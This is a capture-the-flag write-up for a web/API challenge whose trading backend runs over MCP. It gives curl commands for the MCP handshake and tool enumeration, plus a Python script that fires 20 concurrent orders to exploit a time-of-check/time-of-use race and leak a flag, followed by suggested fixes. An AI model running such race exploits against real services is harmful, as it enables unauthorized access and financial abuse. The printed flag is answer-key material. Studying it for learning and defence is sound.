
TradeBot (API) - Writeup
On this page
Challenge Overview
| Event | KPMG CTF 2026 Campus Edition |
|---|---|
| Challenge | TradeBot |
| Category | Web / API (MCP) |
| Points | 20 |
| Target | kicyber-...-tradebot-0-0.chals.io |
"TradeBot is your automated stock trading assistant... There is a special instrument that isn't sold on the public order book. Only the settlement engine, the part that processes your trades, can read it. Hint: The engine decides whether it can settle your order before it finishes routing it, and it never checks again."

The hint is practically a spec for the bug: "decides before it finishes routing... never checks again" is a textbook TOCTOU (time-of-check / time-of-use) race condition. The settlement engine validates that a slot is free, then does slow async work (routing + filling), but doesn't re-validate at the moment it actually touches the reserve. Overlap enough orders and you break the exclusivity guarantee, which is what spills the hidden instrument.
Step 1: Find the API
The web root just returns Not Found, no UI to click.

Probing conventional paths, /health answers and points the way:
export T='https://kicyber-...-tradebot-0-0.chals.io'
curl -sk "$T/health"
# {"status":"healthy","service":"tradebot","version":"2.0.0","mcp_endpoint":"/mcp"}
The backend speaks MCP (Model Context Protocol) over HTTP at /mcp, served by FastMCP/uvicorn. So this is an API challenge driven through MCP's JSON-RPC, not a browser one.
Step 2: Open an MCP Session and Enumerate Tools
MCP needs a session handshake. initialize returns an mcp-session-id header we reuse on every call:
curl -sk -i -X POST "$T/mcp" \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"kali","version":"1.0"}}}'
# grab mcp-session-id from the response headers
export SID='PASTE_SESSION_ID'
# finish the handshake
curl -sk -X POST "$T/mcp" -H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' -H "Mcp-Session-Id: $SID" \
-d '{"jsonrpc":"2.0","method":"notifications/initialized"}'
# list the tools
curl -sk -X POST "$T/mcp" -H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' -H "Mcp-Session-Id: $SID" \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}'

The tools: get_stock_price, get_stock_info, list_available_stocks, get_portfolio, get_risk_report, get_order_status, place_order, health_check. The money detail is in place_order's own description:
"The order is routed to the exchange and settles a moment later. Admission is governed by the settlement risk engine, which permits a limited number of orders per account to be settling at any one time. Orders that arrive while the engine is at capacity are rejected."
That's the exact surface the hint described.
A reusable helper for tool calls:
mcp_call() {
curl -sk "$T/mcp" -H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' -H "Mcp-Session-Id: $SID" \
-d "{\"jsonrpc\":\"2.0\",\"id\":10,\"method\":\"tools/call\",\"params\":{\"name\":\"$1\",\"arguments\":$2}}"
echo
}
Step 3: Baseline the Engine
mcp_call get_risk_report '{}'
# max_concurrent_settlements: 19, settlements_inflight: 0,
# routing_latency_seconds: 1.0, fill_latency_seconds: 0.8, integrity_violations: 0
mcp_call list_available_stocks '{}' # 10 public tickers (AAPL, MSFT, ...)
mcp_call get_portfolio '{}' # balance $25,000
Key numbers: 19 concurrent settlement slots, 1.0 s routing + 0.8 s fill latency per order, and an integrity_violations counter that's worth watching. A single AAPL order fills normally as ORD-000001 and the engine returns to idle, confirming the ~1.8 s settlement window.
Importantly, guessing the hidden ticker is a dead end: both lookup and place_order reject an unknown symbol (SECRET not found) with the same validation, so the hidden instrument isn't reachable by naming it. The vulnerability has to be the concurrency flaw, not a secret string.
Step 4: Exploit the Race Condition
The plan: fire many orders simultaneously so several are inside the ~1.8 s settlement window at once. The admission check passed for each before routing completed, and since the engine never re-checks, more than one settlement ends up holding a slot against the reserve, which is the exclusivity violation that dumps the vault.
burst.py (20 concurrent place_order calls via a thread pool):
import concurrent.futures, json, os, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
T, SID = os.environ["T"], os.environ["SID"]
def place(i):
payload = {"jsonrpc":"2.0","id":i,"method":"tools/call",
"params":{"name":"place_order",
"arguments":{"symbol":"AAPL","quantity":1,"order_type":"buy"}}}
r = requests.post(f"{T}/mcp",
headers={"Content-Type":"application/json",
"Accept":"application/json, text/event-stream",
"Mcp-Session-Id":SID},
json=payload, timeout=10, verify=False)
return {"request": i, "http_status": r.status_code, "response": r.text}
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as pool:
for result in pool.map(place, range(1, 21)):
print(json.dumps(result))
python3 -m venv .venv && source .venv/bin/activate && pip install requests
python3 burst.py
One of the 20 responses comes back carrying the integrity incident and the leaked vault record:

{
"status": "success",
"risk_engine": { "integrity": "COMPROMISED", "incident": "SETTLEMENT_OVERSUBSCRIPTION" },
"vault_reconciliation": {
"vault": "TRADEBOT-RESERVE",
"instrument": "TRADEBOT-RESERVE-NOTE",
"integrity": "COMPROMISED",
"reason": "Settlement exclusivity violated: the reserve vault was read while more than one settlement held a slot. Reconciling by returning the sealed vault record.",
"vault_seal": "KPMG_CTF{XfZGyYaAsDodjOF3pLHA3xlVeM9EeJXMaWORkbWroVCL}"
}
}
Checking the engine afterwards confirms it recorded the incident, integrity_violations ticked from 0 to 1.
KPMG_CTF{XfZGyYaAsDodjOF3pLHA3xlVeM9EeJXMaWORkbWroVCL}
Summary
| Step | Action | Result |
|---|---|---|
| 1 | /health | API is MCP at /mcp |
| 2 | initialize + tools/list | 8 tools; settlement-engine hint in place_order |
| 3 | get_risk_report / baseline | 19 slots, ~1.8 s window, violation counter |
| 4 | 20 concurrent place_order | SETTLEMENT_OVERSUBSCRIPTION → vault leak |
Key Takeaways
- The hint named the bug. "Checks before routing finishes, never checks again" is TOCTOU. A validity check that isn't re-verified at the moment of use is a race condition waiting for concurrency.
- Don't fixate on the secret's name. The "hidden instrument" couldn't be reached by guessing a ticker, lookup and order placement both rejected it. The intended path was triggering the engine's invariant failure, which surfaced the instrument via reconciliation.
- Latency windows are exploitable windows. A ~1.8 s settlement window is enormous; 20 overlapping requests trivially put multiple settlements in flight at once. Any security decision made before slow async work must be re-validated after it.
- MCP is just another HTTP API. Session handshake,
tools/list,tools/call, it enumerates and drives like any JSON-RPC service withcurl. Treat agent/LLM tool backends as ordinary attack surface. - Fixes: make settlement admission atomic (lock/semaphore/transactional reservation), reserve capacity before routing, enforce exclusivity at the point of vault access, and never let a reconciliation/error path return sealed records to ordinary callers.
Flag: KPMG_CTF{XfZGyYaAsDodjOF3pLHA3xlVeM9EeJXMaWORkbWroVCL}